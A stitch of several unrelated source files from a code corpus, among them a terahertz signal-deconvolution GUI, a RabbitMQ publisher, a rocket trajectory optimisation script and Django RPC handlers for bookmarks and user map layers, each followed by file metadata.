self.data.iloc[:, 0].values\n try:\n y = fft(self.sample)\n x = fft(self.ref)\n h = np.abs(ifft(y / x))\n convfig.plot(self.t, h, color='red')\n self.convcanvas.draw()\n self.messageLine.setText('Wiener Filter:Deconvolution result.引入噪声很大!')\n except Exception as e:\n self.convfig.clf()\n self.messageLine.setText(str(e))\n\n if self.deconvmethod == '长春理工大学反卷积':\n if self.col < 2:\n self.messageLine.setText('Data col must more than 1!')\n else:\n self.sample = self.data.iloc[:, self.col].values\n self.ref = self.data.iloc[:, 1].values\n self.t = self.data.iloc[:, 0].values\n try:\n y = fft(self.sample)\n x = fft(self.ref)\n a = self.obtain_snr()\n w = self.wiener_filter(x, a)\n T_fwhm = self.obtain_fwhm()\n delta = np.exp(np.power(self.t, 2) / (-2 * np.power(T_fwhm / (2 * np.sqrt(2 * np.log(2))), 2)))\n h = ifft(y * w * fft(delta))\n result = h.real * self.ref\n result[0:100] = 0\n result[len(result) - 100:len(result)] = 0\n convfig.plot(self.t, result, color='red')\n self.convcanvas.draw()\n self.messageLine.setText('长春理工大学反卷积:Deconvolution result.适合TeraMetrix设备,因为需要噪声信号!')\n except Exception as e:\n self.convfig.clf()\n self.messageLine.setText(str(e))\n else:\n self.messageLine.setText('Please input data first!')\n\n def dwtShow(self):\n d1fig=self.d1fig.gca()\n d1fig.cla()\n d2fig=self.d2fig.gca()\n d2fig.cla()\n d3fig=self.d3fig.gca()\n d3fig.cla()\n d4fig=self.d4fig.gca()\n d4fig.cla()\n d5fig=self.d5fig.gca()\n d5fig.cla()\n d6fig = self.d6fig.gca()\n d6fig.cla()\n d7fig = self.d7fig.gca()\n d7fig.cla()\n d8fig = self.d8fig.gca()\n d8fig.cla()\n afig=self.afig.gca()\n afig.cla()\n\n try:\n coeffs = pywt.wavedec(self.sample, self.mode, mode='symmetric', level=self.level)\n value = np.sqrt(2 * np.log(self.sample.shape[0]))\n mode_threshold_func = self.ThresholdBox.currentText()\n\n\n for k in range(len(coeffs)):\n coeffs[k] = pywt.threshold(np.array(coeffs[k]), value=value, mode=mode_threshold_func)\n\n if self.level == 3:\n afig.plot(np.array(coeffs[0]))\n afig.set_xticks([])\n afig.set_yticks([])\n afig.axis('off')\n self.acanvas.draw()\n\n d1fig.plot(np.array(coeffs[1]))\n d1fig.set_xticks([])\n d1fig.set_yticks([])\n d1fig.axis('off')\n self.d1canvas.draw()\n\n d2fig.plot(np.array(coeffs[2]))\n d2fig.set_xticks([])\n d2fig.set_yticks([])\n d2fig.axis('off')\n self.d2canvas.draw()\n\n d3fig.plot(np.array(coeffs[3]))\n d3fig.set_xticks([])\n d3fig.set_yticks([])\n d3fig.axis('off')\n self.d3canvas.draw()\n\n self.D4.hide()\n self.D5.hide()\n self.D6.hide()\n self.D7.hide()\n self.D8.hide()\n\n elif self.level == 4:\n self.D4.show()\n afig.plot(np.array(coeffs[0]))\n afig.set_xticks([])\n afig.set_yticks([])\n afig.axis('off')\n self.acanvas.draw()\n\n d1fig.plot(np.array(coeffs[1]))\n d1fig.set_xticks([])\n d1fig.set_yticks([])\n d1fig.axis('off')\n self.d1canvas.draw()\n\n d2fig.plot(np.array(coeffs[2]))\n d2fig.set_xticks([])\n d2fig.set_yticks([])\n d2fig.axis('off')\n self.d2canvas.draw()\n\n d3fig.plot(np.array(coeffs[3]))\n d3fig.set_xticks([])\n d3fig.set_yticks([])\n d3fig.axis('off')\n self.d3canvas.draw()\n\n d4fig.plot(np.array(coeffs[4]))\n d4fig.set_xticks([])\n d4fig.set_yticks([])\n d4fig.axis('off')\n self.d4canvas.draw()\n\n self.D5.hide()\n self.D6.hide()\n self.D7.hide()\n self.D8.hide()\n elif self.level == 5:\n self.D5.show()\n self.D4.show()\n afig.plot(np.array(coeffs[0]))\n afig.set_xticks([])\n afig.set_yticks([])\n afig.axis('off')\n self.acanvas.draw()\n\n d1fig.plot(np.array(coeffs[1]))\n d1fig.set_xticks([])\n d1fig.set_yticks([])\n d1fig.axis('off')\n self.d1canvas.draw()\n\n d2fig.plot(np.array(coeffs[2]))\n d2fig.set_xticks([])\n d2fig.set_yticks([])\n d2fig.axis('off')\n self.d2canvas.draw()\n\n d3fig.plot(np.array(coeffs[3]))\n d3fig.set_xticks([])\n d3fig.set_yticks([])\n d3fig.axis('off')\n self.d3canvas.draw()\n\n d4fig.plot(np.array(coeffs[4]))\n d4fig.set_xticks([])\n d4fig.set_yticks([])\n d4fig.axis('off')\n self.d4canvas.draw()\n\n d5fig.plot(np.array(coeffs[5]))\n d5fig.set_xticks([])\n d5fig.set_yticks([])\n d5fig.axis('off')\n self.d5canvas.draw()\n\n self.D6.hide()\n self.D7.hide()\n self.D8.hide()\n elif self.level == 6:\n self.D6.show()\n self.D5.show()\n self.D4.show()\n afig.plot(np.array(coeffs[0]))\n afig.set_xticks([])\n afig.set_yticks([])\n afig.axis('off')\n self.acanvas.draw()\n\n d1fig.plot(np.array(coeffs[1]))\n d1fig.set_xticks([])\n d1fig.set_yticks([])\n d1fig.axis('off')\n self.d1canvas.draw()\n\n d2fig.plot(np.array(coeffs[2]))\n d2fig.set_xticks([])\n d2fig.set_yticks([])\n d2fig.axis('off')\n self.d2canvas.draw()\n\n d3fig.plot(np.array(coeffs[3]))\n d3fig.set_xticks([])\n d3fig.set_yticks([])\n d3fig.axis('off')\n self.d3canvas.draw()\n\n d4fig.plot(np.array(coeffs[4]))\n d4fig.set_xticks([])\n d4fig.set_yticks([])\n d4fig.axis('off')\n self.d4canvas.draw()\n\n d5fig.plot(np.array(coeffs[5]))\n d5fig.set_xticks([])\n d5fig.set_yticks([])\n d5fig.axis('off')\n self.d5canvas.draw()\n\n d6fig.plot(np.array(coeffs[6]))\n d6fig.set_xticks([])\n d6fig.set_yticks([])\n d6fig.axis('off')\n self.d6canvas.draw()\n\n self.D7.hide()\n self.D8.hide()\n elif self.level == 7:\n self.D7.show()\n self.D6.show()\n self.D5.show()\n self.D4.show()\n afig.plot(np.array(coeffs[0]))\n afig.set_xticks([])\n afig.set_yticks([])\n afig.axis('off')\n self.acanvas.draw()\n\n d1fig.plot(np.array(coeffs[1]))\n d1fig.set_xticks([])\n d1fig.set_yticks([])\n d1fig.axis('off')\n self.d1canvas.draw()\n\n d2fig.plot(np.array(coeffs[2]))\n d2fig.set_xticks([])\n d2fig.set_yticks([])\n d2fig.axis('off')\n self.d2canvas.draw()\n\n d3fig.plot(np.array(coeffs[3]))\n d3fig.set_xticks([])\n d3fig.set_yticks([])\n d3fig.axis('off')\n self.d3canvas.draw()\n\n d4fig.plot(np.array(coeffs[4]))\n d4fig.set_xticks([])\n d4fig.set_yticks([])\n d4fig.axis('off')\n self.d4canvas.draw()\n\n d5fig.plot(np.array(coeffs[5]))\n d5fig.set_xticks([])\n d5fig.set_yticks([])\n d5fig.axis('off')\n self.d5canvas.draw()\n\n d6fig.plot(np.array(coeffs[6]))\n d6fig.set_xticks([])\n d6fig.set_yticks([])\n d6fig.axis('off')\n self.d6canvas.draw()\n\n d7fig.plot(np.array(coeffs[7]))\n d7fig.set_xticks([])\n d7fig.set_yticks([])\n d7fig.axis('off')\n self.d7canvas.draw()\n\n self.D8.hide()\n else:\n self.D8.show()\n self.D7.show()\n self.D6.show()\n self.D5.show()\n self.D4.show()\n afig.plot(np.array(coeffs[0]))\n afig.set_xticks([])\n afig.set_yticks([])\n afig.axis('off')\n self.acanvas.draw()\n\n d1fig.plot(np.array(coeffs[1]))\n d1fig.set_xticks([])\n d1fig.set_yticks([])\n d1fig.axis('off')\n self.d1canvas.draw()\n\n d2fig.plot(np.array(coeffs[2]))\n d2fig.set_xticks([])\n d2fig.set_yticks([])\n d2fig.axis('off')\n self.d2canvas.draw()\n\n d3fig.plot(np.array(coeffs[3]))\n d3fig.set_xticks([])\n d3fig.set_yticks([])\n d3fig.axis('off')\n self.d3canvas.draw()\n\n d4fig.plot(np.array(coeffs[4]))\n d4fig.set_xticks([])\n d4fig.set_yticks([])\n d4fig.axis('off')\n self.d4canvas.draw()\n\n d5fig.plot(np.array(coeffs[5]))\n d5fig.set_xticks([])\n d5fig.set_yticks([])\n d5fig.axis('off')\n self.d5canvas.draw()\n\n d6fig.plot(np.array(coeffs[6]))\n d6fig.set_xticks([])\n d6fig.set_yticks([])\n d6fig.axis('off')\n self.d6canvas.draw()\n\n d7fig.plot(np.array(coeffs[7]))\n d7fig.set_xticks([])\n d7fig.set_yticks([])\n d7fig.axis('off')\n self.d7canvas.draw()\n\n d8fig.plot(np.array(coeffs[8]))\n d8fig.set_xticks([])\n d8fig.set_yticks([])\n d8fig.axis('off')\n self.d8canvas.draw()\n\n except Exception as e:\n self.messageLine.setText(str(e))\n\nif __name__ == \"__main__\":\n app = QApplication(sys.argv)\n action = Action()\n action.show()\n sys.exit(app.exec_())","sub_path":"terahertz/pyqtdwt/pyqtdwt.py","file_name":"pyqtdwt.py","file_ext":"py","file_size_in_byte":31231,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"350760077","text":"# Python solution for \"Remove Duplicates From Sorted Array II\" LeetCode problem.\n# Runtime: 92 ms, faster than 71.84% of Python3 online submissions for Remove Duplicates from Sorted Array.\n# Memory Usage: 14.5 MB, less than 97.54% of Python3 online submissions for Remove Duplicates from Sorted Array.\n\nclass Solution:\n def removeDuplicates(self, nums: List[int]) -> int:\n # Declare array length and iterator vars\n length = len(nums)\n i = length - 1\n # while array index bounds valid\n while (i > 0):\n # Check if value of current element == value of preceeding element (duplicate!)\n if (nums[i] == nums[i-1]):\n del nums[i] # if duplicate, remove current element from list\n i -= 1 # move to next element\n length = len(nums) # update array length\n else:\n i -= 1 # move to next element\n \n return length\n","sub_path":"removeDuplicates.py","file_name":"removeDuplicates.py","file_ext":"py","file_size_in_byte":952,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"393519862","text":"#!/usr/bin/env python3\nimport pika\nimport json\nimport datetime\nimport time\n\nconnection = pika.BlockingConnection(pika.ConnectionParameters('localhost'))\nchannel = connection.channel()\n\nprint(\"Declaring exchange\")\nchannel.exchange_declare(exchange='fmi_digital_twin', exchange_type='direct')\n\nprint(\"Creating queue\")\nresult = channel.queue_declare(queue='', exclusive=True)\nqueue_name = result.method.queue\n\nchannel.queue_bind(exchange='fmi_digital_twin', queue=queue_name,\n routing_key='linefollower')\n\nprint(' [*] Waiting for logs. To exit press CTRL+C')\n\n\ndef publish():\n# channel.stop_consuming()\n dt=datetime.datetime.strptime('2019-01-04T16:41:24+0200', \"%Y-%m-%dT%H:%M:%S%z\")\n\n print(dt);\n\n msg = {}\n msg['time']= dt.isoformat()\n msg['level']=0\n\n\n for i in range(1,(10+1)*10):\n# time.sleep(0.01)\n channel.basic_publish(exchange='fmi_digital_twin',\n routing_key='linefollower',\n body=json.dumps(msg))\n print(\" [x] Sent %s - relative time %s\" % (json.dumps(msg),str(0.1*i)))\n dt = dt + datetime.timedelta(seconds=0.1)\n msg['time']= dt.isoformat()\n msg['level']=msg['level']+1\n if msg['level'] > 2:\n msg['level']=0\n\n\n\ndef callback(ch, method, properties, body):\n print(\" [x] %r\" % body)\n if \"waiting for input data for simulation\" in str(body):\n publish()\n\n\n\n\nchannel.basic_consume(\n queue=queue_name, on_message_callback=callback, auto_ack=True)\n\nchannel.start_consuming()\n\nconnection.close()\n","sub_path":"server/publish.py","file_name":"publish.py","file_ext":"py","file_size_in_byte":1597,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"30065543","text":"import pandas as pd, numpy as np, xarray as xr, dask, dask.dataframe as ddf, datetime\r\nimport time\r\nimport os, socket\r\nimport sqlite3 as db\r\n\r\ncName = socket.gethostname()\r\n#exisitngData = pd.read_csv('D:/data/Daily/daily27_11_2017.csv')\r\n\r\ninDir = \"D:/data/Intraday\"\r\noutDir = \"D:/data/Intraday_Collected\"\r\nsend = False\r\nsql = False\r\n\r\ntickers = np.array(os.listdir(inDir))\r\n\r\nn = ''\r\n\r\nfor ticker in tickers:\r\n for fileName in os.listdir('{d}/{t}'.format(d=inDir,t = ticker)):\r\n periodi = pd.read_csv('{d}/{t}/{fn}'.format(d=inDir,t = ticker,fn=fileName),\r\n dtype={'a':str},index_col=\"Unnamed: 0\",\r\n parse_dates=True)\r\n periodi['Ticker'] = ticker.rsplit( \".\", 1 )[ 0 ]\r\n df = periodi if not n else pd.concat([df, periodi])\r\n if not n: n = 1\r\n\r\ndf.index.name = 'Date'\r\ndf.index = pd.to_datetime(df.index)\r\ndf = df.reset_index()\r\ndf.drop('a', axis=1, inplace=True)\r\ndf['Ticker'] = df['Ticker'].astype(str)\r\n\r\nxdf = xr.Dataset.from_dataframe(df)\r\ndask1 = ddf.from_pandas(df, 2)\r\n\r\nif send ==True:\r\n dask1.to_parquet(\"D:/OneDrive - University of Calgary/Data/MyData\")\r\n xdf.to_netcdf(\"D:/OneDrive - University of Calgary/Data/MyData/intraday.nc\") \r\n dask1.to_csv(\"D:/data/Intraday_Collected/test*.csv\")\r\n\r\n\r\nif sql ==True:\r\n from sqlalchemy import create_engine\r\n engine = create_engine('postgresql://postgres:justbusted@localhost:5432/EconData')\r\n\r\n df.to_sql(\"Intraday\", engine)\r\n \r\n con = db.connect(\"D:/OneDrive - University of Calgary/Data/MyData/test.db\")\r\n df.to_sql('IntraDay', con, 'sqlite') \r\n\r\n\r\n#df.rename(index=str, columns={\"Unnamed: 0\": 'Date'})\r\n\r\n\r\n#periodi = pd.read_csv('{d}/{t}/{fn}'.format(d=inDir,t = ticker,fn=fileName),\r\n # dtype={'a':str},index_col=\"Unnamed: 0\",converters={'a': lambda x: x if 'a' not in x else 0},\r\n # parse_dates=True)","sub_path":"Testing/TestUpdateIntraDay.py","file_name":"TestUpdateIntraDay.py","file_ext":"py","file_size_in_byte":1932,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"192098377","text":"# -*- coding: utf-8 -*-\n# Copyright 2017 Interstellar Technologies Inc. All Rights Reserved.\n\nfrom __future__ import print_function\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom OpenGoddard.optimize import Problem, Guess, Condition, Dynamics\n\n\nclass Rocket:\n g0 = 1.0 # Gravity at surface [-]\n\n def __init__(self):\n self.H0 = 1.0 # Initial height\n self.V0 = 0.0 # Initial velocity\n self.M0 = 1.0 # Initial mass\n self.Tc = 3.5 # Use for thrust\n self.Hc = 500 # Use for drag\n self.Vc = 620 # Use for drag\n self.Mc = 0.6 # Fraction of initial mass left at end\n self.c = 0.5 * np.sqrt(self.g0*self.H0) # Thrust-to-fuel mass\n self.Mf = self.Mc * self.M0 # Final mass\n self.Dc = 0.5 * self.Vc * self.M0 / self.g0 # Drag scaling\n self.T_max = self.Tc * self.g0 * self.M0 # Maximum thrust\n\n\ndef dynamics(prob, obj, section):\n h = prob.states(0, section)\n v = prob.states(1, section)\n m = prob.states(2, section)\n T = prob.controls(0, section)\n\n Dc = obj.Dc\n c = obj.c\n drag = 1 * Dc * v ** 2 * np.exp(-obj.Hc * (h - obj.H0) / obj.H0)\n g = obj.g0 * (obj.H0 / h)**2\n\n dx = Dynamics(prob, section)\n dx[0] = v\n dx[1] = (T - drag) / m - g\n dx[2] = - T / c\n return dx()\n\n\ndef equality(prob, obj):\n h = prob.states_all_section(0)\n v = prob.states_all_section(1)\n m = prob.states_all_section(2)\n T = prob.controls_all_section(0)\n tf = prob.time_final(-1)\n\n result = Condition()\n\n # event condition\n result.equal(h[0], obj.H0)\n result.equal(v[0], obj.V0)\n result.equal(m[0], obj.M0)\n result.equal(v[-1], 0.0)\n result.equal(m[-1], obj.Mf)\n\n return result()\n\n\ndef inequality(prob, obj):\n h = prob.states_all_section(0)\n v = prob.states_all_section(1)\n m = prob.states_all_section(2)\n T = prob.controls_all_section(0)\n tf = prob.time_final(-1)\n\n result = Condition()\n # lower bounds\n result.lower_bound(h, obj.H0)\n result.lower_bound(v, 0.0)\n result.lower_bound(m, obj.Mf)\n result.lower_bound(T, 0.0)\n result.lower_bound(tf, 0.1)\n # upper bounds\n result.upper_bound(m, obj.M0)\n result.upper_bound(T, obj.T_max)\n\n return result()\n\n\ndef cost(prob, obj):\n h = prob.states_all_section(0)\n return -h[-1]\n\n\n# ========================\nplt.close(\"all\")\n# Program Starting Point\ntime_init = [0.0, 0.3]\nn = [50]\nnum_states = [3]\nnum_controls = [1]\nmax_iteration = 30\n\nflag_savefig = True\nsavefig_file = \"04_Goddard/04_0knot_\"\n\n# ------------------------\n# set OpenGoddard class for algorithm determination\nprob = Problem(time_init, n, num_states, num_controls, max_iteration)\n\n# ------------------------\n# create instance of operating object\n# Nondimensionalization of parameters\nobj = Rocket()\n\n# ========================\n# Initial parameter guess\n\n# altitude profile\nH_init = Guess.cubic(prob.time_all_section, 1.0, 0.0, 1.010, 0.0)\n# Guess.plot(prob.time_all_section, H_init, \"Altitude\", \"time\", \"Altitude\")\n# if(flag_savefig):plt.savefig(savefig_file + \"guess_alt\" + \".png\")\n\n# velocity\nV_init = Guess.linear(prob.time_all_section, 0.0, 0.0)\n# Guess.plot(prob.time_all_section, V_init, \"Velocity\", \"time\", \"Velocity\")\n\n# mass profile\nM_init = Guess.cubic(prob.time_all_section, 1.0, -0.6, 0.6, 0.0)\n# Guess.plot(prob.time_all_section, M_init, \"Mass\", \"time\", \"Mass\")\n# if(flag_savefig):plt.savefig(savefig_file + \"guess_mass\" + \".png\")\n\n# thrust profile\nT_init = Guess.cubic(prob.time_all_section, 3.5, 0.0, 0.0, 0.0)\n# Guess.plot(prob.time_all_section, T_init, \"Thrust Guess\", \"time\", \"Thrust\")\n# if(flag_savefig):plt.savefig(savefig_file + \"guess_thrust\" + \".png\")\n\nplt.show()\n\n# ========================\n# Substitution initial value to parameter vector to be optimized\nprob.set_states_all_section(0, H_init)\nprob.set_states_all_section(1, V_init)\nprob.set_states_all_section(2, M_init)\nprob.set_controls_all_section(0, T_init)\n\n# ========================\n# Main Process\n# Assign problem to SQP solver\nprob.dynamics = [dynamics]\nprob.knot_states_smooth = []\nprob.cost = cost\nprob.cost_derivative = None\nprob.equality = equality\nprob.inequality = inequality\n\n\ndef display_func():\n h = prob.states_all_section(0)\n print(\"max altitude: {0:.5f}\".format(h[-1]))\n\nprob.solve(obj, display_func, ftol=1e-10)\n\n# ========================\n# Post Process\n# ------------------------\n# Convert parameter vector to variable\nh = prob.states_all_section(0)\nv = prob.states_all_section(1)\nm = prob.states_all_section(2)\nT = prob.controls_all_section(0)\ntime = prob.time_update()\n\n# ------------------------\n# Calculate necessary variables\nDc = 0.5 * 620 * 1.0 / 1.0\ndrag = 1 * Dc * v ** 2 * np.exp(-500 * (h - 1.0) / 1.0)\ng = 1.0 * (1.0 / h)**2\n\n# ------------------------\n# Visualizetion\nplt.figure()\nplt.title(\"Altitude profile\")\nplt.plot(time, h, marker=\"o\", label=\"Altitude\")\nfor line in prob.time_knots():\n plt.axvline(line, color=\"k\", alpha=0.5)\nplt.grid()\nplt.xlabel(\"time [s]\")\nplt.ylabel(\"Altitude [-]\")\nif(flag_savefig): plt.savefig(savefig_file + \"altitude\" + \".png\")\n\nplt.figure()\nplt.title(\"Velocity\")\nplt.plot(time, v, marker=\"o\", label=\"Velocity\")\nfor line in prob.time_knots():\n plt.axvline(line, color=\"k\", alpha=0.5)\nplt.grid()\nplt.xlabel(\"time [s]\")\nplt.ylabel(\"Velocity [-]\")\nif(flag_savefig): plt.savefig(savefig_file + \"velocity\" + \".png\")\n\nplt.figure()\nplt.title(\"Mass\")\nplt.plot(time, m, marker=\"o\", label=\"Mass\")\nfor line in prob.time_knots():\n plt.axvline(line, color=\"k\", alpha=0.5)\nplt.grid()\nplt.xlabel(\"time [s]\")\nplt.ylabel(\"Mass [-]\")\nif(flag_savefig): plt.savefig(savefig_file + \"mass\" + \".png\")\n\nplt.figure()\nplt.title(\"Thrust profile\")\nplt.plot(time, T, marker=\"o\", label=\"Thrust\")\nplt.plot(time, drag, marker=\"o\", label=\"Drag\")\nplt.plot(time, g, marker=\"o\", label=\"Gravity\")\nfor line in prob.time_knots():\n plt.axvline(line, color=\"k\", alpha=0.5)\nplt.grid()\nplt.xlabel(\"time [s]\")\nplt.ylabel(\"Thrust [-]\")\nplt.legend(loc=\"best\")\nif(flag_savefig): plt.savefig(savefig_file + \"force\" + \".png\")\n\nplt.show()\n","sub_path":"examples/04_Goddard_0knot.py","file_name":"04_Goddard_0knot.py","file_ext":"py","file_size_in_byte":6069,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"573923099","text":"#!/usr/bin/env python\n# -*- encoding: utf-8 -*-\n# vim: set et sw=4 ts=4 sts=4 ff=unix fenc=utf8:\n# Author: Vincent\n# http://blog.vincentzhong.cn\n# Created on 2017/4/21 20:57\n\nfrom sanic import Sanic\nfrom sanic.response import json\n\napp = Sanic()\n\n@app.route(\"/\")\nasync def test(request):\n return json({\"hello\": \"world\"})\n\nif __name__ == \"__main__\":\n app.run(host=\"0.0.0.0\", port=8000)\n","sub_path":"tests/run_benchmark.py","file_name":"run_benchmark.py","file_ext":"py","file_size_in_byte":424,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"38370047","text":"from django.contrib.auth.decorators import login_required\nfrom django.http import JsonResponse, HttpResponse\nfrom django.shortcuts import get_object_or_404\nfrom rpc4django import rpcmethod\nfrom django.conf import settings\n\n\n@rpcmethod(login_required=True)\ndef add_bookmark(name, description, url_hash, json, **kwargs):\n from visualize.models import Bookmark\n request = kwargs['request']\n\n bookmark = Bookmark(user=request.user, name=name, description=description, url_hash=url_hash, json=json)\n bookmark.save()\n sharing_groups = [group.name for group in bookmark.sharing_groups.all()]\n content = [{\n 'uid': bookmark.uid,\n 'name': bookmark.name,\n 'description': bookmark.description,\n 'hash': bookmark.url_hash,\n 'sharing_groups': sharing_groups,\n 'json': bookmark.json,\n }]\n return content\n\n@rpcmethod(login_required=True)\ndef get_bookmarks(**kwargs):\n \"\"\"Return a list of bookmark object for the current user.\n \"\"\"\n from mapgroups.models import MapGroup, MapGroupMember\n from visualize.models import Bookmark\n\n request = kwargs['request']\n\n #grab all bookmarks belonging to this user\n #serialize bookmarks into 'name', 'hash' objects and return json dump\n content = []\n bookmark_list = Bookmark.objects.filter(user=request.user)\n for bookmark in bookmark_list:\n sharing_groups = [group.mapgroup_set.get().name\n for group in bookmark.sharing_groups.all()]\n content.append({\n 'uid': bookmark.uid,\n 'name': bookmark.name,\n 'description': bookmark.description,\n 'hash': bookmark.url_hash,\n 'sharing_groups': sharing_groups,\n 'json': bookmark.json,\n })\n\n shared_bookmarks = Bookmark.objects.shared_with_user(request.user)\n for bookmark in shared_bookmarks:\n if bookmark not in bookmark_list:\n username = bookmark.user.username\n groups = bookmark.sharing_groups.filter(user__in=[request.user])\n # Fetch the bookmark owner's preference on whether to share their\n # real name with the group. Since it is possible that the bookmark\n # sharer, and the bookmark sharee might be common members of\n # multiple groups, if the sharer has a \"Show Real Name\" preference\n # set on _any_ of the groups, then display their real name.\n # Otherwise show their preferred name.\n\n show_real_name = MapGroupMember.objects.filter(\n user=bookmark.user,\n map_group__permission_group__in=groups\n ).values_list('show_real_name')\n\n shared_groups = [g.mapgroup_set.get().name for g in groups]\n\n actual_name = bookmark.user.first_name + ' ' + bookmark.user.last_name\n content.append({\n 'uid': bookmark.uid,\n 'name': bookmark.name,\n 'description': bookmark.description,\n 'hash': bookmark.url_hash,\n 'shared': True,\n 'shared_by_user': bookmark.user.id,\n 'shared_to_groups': shared_groups,\n 'shared_by_name': bookmark.user.get_short_name(),\n 'json': bookmark.json,\n })\n return content\n\n@rpcmethod(login_required=False)\ndef load_bookmark(bookmark_id, **kwargs):\n \"\"\"Retrive a bookmark by ID - ownership is irrelevant.\n \"\"\"\n from visualize.models import Bookmark\n request = kwargs['request']\n\n bookmark = Bookmark.objects.get(pk=bookmark_id)\n content = [{\n 'uid': bookmark.uid,\n # 'name': bookmark.name,\n # 'description': bookmark.description,\n 'hash': bookmark.url_hash,\n # 'sharing_groups': sharing_groups,\n 'json': bookmark.json,\n }]\n return content\n\n@rpcmethod(login_required=True)\ndef remove_bookmark(key, **kwargs):\n from visualize.models import Bookmark\n request = kwargs['request']\n # uid = appname_modelname_pk\n key = int(key.split('_')[-1])\n bookmark = get_object_or_404(Bookmark, id=key, user=request.user)\n bookmark.delete()\n\n@rpcmethod(login_required=True)\ndef share_bookmark(bookmark_uid, group_names, **kwargs):\n from django.contrib.auth.models import Group\n from features.registry import get_feature_by_uid\n request = kwargs['request']\n # group_names = request.POST.getlist('groups[]')\n # bookmark_uid = request.POST['bookmark']\n bookmark = get_feature_by_uid(bookmark_uid)\n\n viewable, response = bookmark.is_viewable(request.user)\n if not viewable:\n return response\n\n #remove previously shared with groups, before sharing with new list\n bookmark.share_with(None)\n\n groups = []\n for group_name in group_names:\n g = Group.objects.get(mapgroup__name=group_name)\n groups.append(g)\n\n bookmark.share_with(groups, append=False)\n\n\n######################################################\n# User Layers #\n######################################################\n\n\n@rpcmethod(login_required=True)\ndef add_user_layer(name, description, url, layer_type, arcgis_layers, **kwargs):\n from visualize.models import UserLayer\n request = kwargs['request']\n\n userLayer = UserLayer(user=request.user, name=name, description=description, url=url, layer_type=layer_type, arcgis_layers=arcgis_layers)\n userLayer.save()\n sharing_groups = [group.name for group in userLayer.sharing_groups.all()]\n content = [{\n 'uid': userLayer.uid,\n 'name': userLayer.name,\n 'description': userLayer.description,\n 'url': userLayer.url,\n 'layer_type': userLayer.layer_type,\n 'arcgis_layers': userLayer.arcgis_layers,\n 'sharing_groups': sharing_groups,\n 'wms_slug': userLayer.wms_slug,\n 'wms_srs': userLayer.wms_srs,\n 'wms_params': userLayer.wms_params,\n 'wms_version': userLayer.wms_version,\n 'wms_format': userLayer.wms_format,\n 'wms_styles': userLayer.wms_styles,\n }]\n return content\n\n@rpcmethod(login_required=False)\ndef get_user_layers(**kwargs):\n \"\"\"Return a list of user layer objects for the current user.\n \"\"\"\n\n from django.contrib.auth.models import Group\n from mapgroups.models import MapGroup, MapGroupMember\n from visualize.models import UserLayer\n\n request = kwargs['request']\n\n #grab all user layers belonging to this user\n #serialize user layers into 'name', 'hash' objects and return json dump\n content = []\n try:\n user_layer_list = UserLayer.objects.filter(user=request.user)\n except TypeError as e:\n user_layer_list = []\n\n for userLayer in user_layer_list:\n sharing_groups = [\n group.mapgroup_set.get().name\n for group in userLayer.sharing_groups.all()\n if group.mapgroup_set.exists() \n ]\n public_groups = [\n group.name\n for group in Group.objects.filter(name__in=settings.SHARING_TO_PUBLIC_GROUPS)\n if group in userLayer.sharing_groups.all()\n ]\n all_sharing_groups = sharing_groups + public_groups\n\n content.append({\n 'id': userLayer.id,\n 'uid': userLayer.uid,\n 'name': userLayer.name,\n 'description': userLayer.description,\n 'url': userLayer.url,\n 'layer_type': userLayer.layer_type,\n 'password_protected': userLayer.password_protected,\n 'arcgis_layers': userLayer.arcgis_layers,\n 'sharing_groups': all_sharing_groups,\n 'shared_to_groups': sharing_groups,\n 'owned_by_user': True,\n 'wms_slug': userLayer.wms_slug,\n 'wms_srs': userLayer.wms_srs,\n 'wms_params': userLayer.wms_params,\n 'wms_version': userLayer.wms_version,\n 'wms_format': userLayer.wms_format,\n 'wms_styles': userLayer.wms_styles,\n })\n\n try:\n shared_user_layers = UserLayer.objects.shared_with_user(request.user)\n except TypeError as e:\n shared_user_layers = UserLayer.objects.filter(pk=-1)\n pass\n for userLayer in shared_user_layers:\n if userLayer not in user_layer_list:\n username = userLayer.user.username\n try:\n groups = userLayer.sharing_groups.filter(user__in=[request.user])\n\n shared_groups = [g.mapgroup_set.get().name for g in groups]\n permission_groups = [x.map_group.permission_group for x in request.user.mapgroupmember_set.all()]\n except TypeError as e:\n shared_groups = []\n permission_groups = []\n sharing_groups = [\n group.mapgroup_set.get().name\n for group in userLayer.sharing_groups.all()\n if group.mapgroup_set.exists() and group in permission_groups\n ]\n owned_by_user = True if len(sharing_groups) > 0 else False\n public_groups = [\n group.name\n for group in Group.objects.filter(name__in=settings.SHARING_TO_PUBLIC_GROUPS)\n if group in userLayer.sharing_groups.all()\n ]\n all_shared_groups = sharing_groups + public_groups\n\n actual_name = userLayer.user.first_name + ' ' + userLayer.user.last_name\n content.append({\n 'id': userLayer.id,\n 'uid': userLayer.uid,\n 'name': userLayer.name,\n 'description': userLayer.description,\n 'url': userLayer.url,\n 'layer_type': userLayer.layer_type,\n 'password_protected': userLayer.password_protected,\n 'arcgis_layers': userLayer.arcgis_layers,\n 'shared': True,\n 'shared_by_user': userLayer.user.id,\n 'sharing_groups': all_shared_groups,\n 'shared_to_groups': sharing_groups,\n 'shared_by_name': userLayer.user.get_short_name(),\n 'owned_by_user': owned_by_user,\n 'wms_slug': userLayer.wms_slug,\n 'wms_srs': userLayer.wms_srs,\n 'wms_params': userLayer.wms_params,\n 'wms_version': userLayer.wms_version,\n 'wms_format': userLayer.wms_format,\n 'wms_styles': userLayer.wms_styles,\n })\n return content\n\n@rpcmethod(login_required=False)\ndef load_user_layer(user_layer_id, **kwargs):\n \"\"\"Retrive a userLayer by ID - ownership is irrelevant.\n \"\"\"\n from visualize.models import UserLayer\n request = kwargs['request']\n\n userLayer = UserLayer.objects.get(pk=user_layer_id)\n content = [{\n 'uid': userLayer.uid,\n 'name': userLayer.name,\n 'description': userLayer.description,\n 'url': userLayer.url,\n 'layer_type': userLayer.layer_type,\n 'password_protected': userLayer.password_protected,\n 'arcgis_layers': userLayer.arcgis_layers,\n # 'sharing_groups': sharing_groups,\n 